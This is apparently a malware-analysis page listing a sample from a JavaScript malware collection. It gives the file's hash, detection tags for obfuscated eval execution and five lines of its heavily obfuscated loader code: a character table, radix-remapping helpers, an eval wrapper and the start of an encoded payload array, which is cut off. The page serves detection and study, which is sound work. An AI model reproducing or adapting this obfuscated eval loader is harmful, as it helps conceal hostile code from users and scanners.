Suspicious ^80% javascript-malware-collection Download

20151208_1184f076dbebd0675175a19cbc1e55d8.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25635596d9c8de5032fd45ee7158e2f86d589261405293ee79b0803b956d7098b6e

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var QmwSybYItUkWp=[];for(OhpHCaC=(-323+323)/275;OhpHCaC<(11685+475)/95;OhpHCaC++){QmwSybYItUkWp[OhpHCaC]=String.fromCharCode(OhpHCaC)}function odkQb(XeobFpJzmWI,kwUQcGkYgoKyP,ofYJnyOc){Ajyo=parseInt(XeobFpJzmWI,kwUQcGkYgoKyP);VOKFo=Ajyo.toString(ofYJnyOc);return VOKFo;}function CTJcJbzNejPXhLQ(UoDjTxoCiuyKiujFW){eval(UoDjTxoCiuyKiujFW)}
2function UpWdSKDhqOtPXDKpmsGIGONNmNmhVlIvQuIfDFpBUkvvpLgSqpDwOk(dcwjaGTavgEKm,TMEjrrTCqgtuLy){ return QmwSybYItUkWp[odkQb(dcwjaGTavgEKm[TMEjrrTCqgtuLy],(4965+815)/578,(2113+47)/216)];}
3function hTxAuQD(miwcNzdVkipMamIeBxzzdgRqAjtQmfMnOVTC) {return !isNaN(parseFloat(miwcNzdVkipMamIeBxzzdgRqAjtQmfMnOVTC)) && isFinite(miwcNzdVkipMamIeBxzzdgRqAjtQmfMnOVTC);}
4function pPQUTmvoLmD(iScnPUif,hbyuFl){return iScnPUif.split(hbyuFl)}
5var U=[];U.push("13");U.push("10");U.push("13");U.push("10");U.push("118");U.push("97");U.push("114");U.push("32");U. …